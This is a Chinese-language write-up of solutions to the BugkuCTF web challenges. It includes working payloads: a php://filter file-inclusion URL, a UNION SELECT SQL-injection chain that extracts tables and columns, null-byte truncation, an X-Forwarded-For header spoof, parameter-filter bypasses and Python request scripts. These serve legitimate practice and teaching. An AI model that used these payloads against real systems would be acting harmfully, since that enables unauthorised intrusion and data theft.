BugkuCTF---web
---------WEB----------
web2:
查看源码
计算器:
更改参数值-----maxlength="1"
web基础$_GET:
$what=$_GET['what'];
echo $what;
if($what=='flag')
echo 'flag{****}';
定义 http://123.206.87.240:8002/get/?what=flag
web基础$_POST:
$what=$_POST['what'];
echo $what;
if($what=='flag')
echo 'flag{****}';
矛盾:
$num=$_GET['num'];
if(!is_numeric($num))
{
echo $num;
if($num==1)
echo 'flag{**********}';
}
观察if(!is_numeric($num))应该是截断 http://123.206.87.240:8002/get/index1.php?num=1%00
web3:
查看源码
直接HTML解码
域名解析:
修改host文件
再次访问http://flag.baidu.com/即可得到flag
你必须让他停下:
BP抓包重发即可
变量1:
flag In the variable ! <?php
error_reporting(0);
include "flag1.php";
highlight_file(__file__);
if(isset($_GET['args'])){
$args = $_GET['args'];
if(!preg_match("/^\w+$/",$args)){
die("args error!");
}
eval("var_dump($$args);");
}
?>
前面直接include了flag1.php,这里的意思就是把这个文件中的代码导进来,所以猜测flag应该是一个变量。
后面isset需要变量是已经定义的,同时后面的正则\w,匹配字母或数字或下划线或汉字。
结尾的\$\$ args代表了可变变量,也就是假如arg是一个变量名,\$\$ args则代表了另一个变量。
那么猜测arg是全局变量GLOBALS
构造url:http://123.206.87.240:8004/index1.php?args=GLOBALS
返回的结果:
web5:
查看源码
放在控制台解码
得到
头等舱:
进去之后这样显示
BP抓包即可
网站被黑:
御剑扫描
发现后台url打开
BP暴力破解
管理员系统:
在请求头添加X-Forwarded-For:127.0.0.1
BP发现
<!-- dGVzdDEyMw== -->
base64解码得到test123
BP修改参数即可得到flag
web4:
源码发现一大堆东西
此提示拼接 eval(unescape(p1) + unescape('%35%34%61%61%32' + p2))
完成后解码得到
由此得出 if("67d709b2b54aa2aa648cf6e87a7114f1"==a.value)return!0;
67d709b2b54aa2aa648cf6e87a7114f1将其输入提交即可得到flag
flag在index里:
进去之后显示
查看源码并没有什么
此时这里用到了php的封装协议:http://php.net/manual/zh/wrappers.php.php
解释此协议含义:首先这是一个file关键字的get参数传递,php://是一种协议名称,php://filter/是一种访问本地文件的协议,/read=convert.base64-encode/表示读取的方式是base64编码后,resource=index.php表示目标文件为index.php。
通过传递这个参数可以得到index.php的源码,下面说说为什么,看到源码中的include函数,这个表示从外部引入php文件并执行,如果执行不成功,就返回文件的源码。
而include的内容是由用户控制的,所以通过我们传递的file参数,是include()函数引入了index.php的base64编码格式,因为是base64编码格式,所以执行不成功,返回源码,所以我们得到了源码的base64格式,解码即可。
如果不进行base64编码传入,就会直接执行,而flag的信息在注释中,是得不到的。
继续做题:
在url中添加 http://120.24.86.145:8005/post/index.php?file=php://filter/read=convert.base64-encode/resource=index.php
得到base64解码即可得到flag
输入密码查看flag:
思路:BP爆破即可获取flag
点击一百万次:
审核JS代码
使用POST传递clicks参数
将clicks=1000000即可得到flag
备份是个好习惯:
打开后是这样
备份是个好习惯 于是我们在url中添加index.php.bak然后得到php代码
现将得到的d41d8cd98f00b204e9800998ecf8427ed41d8cd98f00b204e9800998ecf8427e用md5解码看看得到空
从上述php代码中将get的两个参数中的key替换为空,用kekeyy绕过,然后对key1,key2的值进行md5加密
即:http://123.206.87.240:8002/web16/?kkeyey1[]=1&kkeyey2[]=a
成绩单:
应该是sql注入 POST
POST传递参数 id=-1' union select 1,2,3,database()# 返回数据库为skctf_flag
继续查询表id=-1' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database()#
暴字段id=-1' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name='fl4g'#
最后查表内容id=-1' union select 1,2,3,skctf_flag from fl4g#
秋名山老司机:
用python脚本计算即可
import requests
import re
url = 'http://123.206.87.240:8002/qiumingshan/'
s = requests.Session()
source = s.get(url)
expression = re.search(r'(\d+[+\-*])+(\d+)', source.text).group()
result = eval(expression)
post = {'value': result}
print(s.post(url, data = post).text)
速度要快:
用BP抓包发现此flag一直变
使用脚本自动上传了
import requests
import base64
url="http://123.206.87.240:8002/web6/"
r=requests.session()
headers=r.get(url).headers#因为flag在消息头里
mid=base64.b64decode(headers['flag'])
mid=mid.decode()#为了下一步用split不报错,b64decode后操作的对象是byte类型的字符串,而split函数要用str类型的
flag = base64.b64decode(mid.split(':')[1])#获得flag:后的值
data={'margin':flag}
print (r.post(url,data).text)#post方法传上去
cookie欺骗:
url末尾为base64加密
解密为key.txt
将index.php base64加密得到aW5kZXgucGhw
再次url访问无结果
line定义字段出现结果python脚本跑一下
import requests
for i in range(1,50):
url="http://123.206.87.240:8002/web11/index.php?line={}&filename=aW5kZXgucGhw".format(i)
a=requests.get(url)
print(a.text)
得到
最后将keys.phpbase64加密,cookie定义margin=margin即可得到flag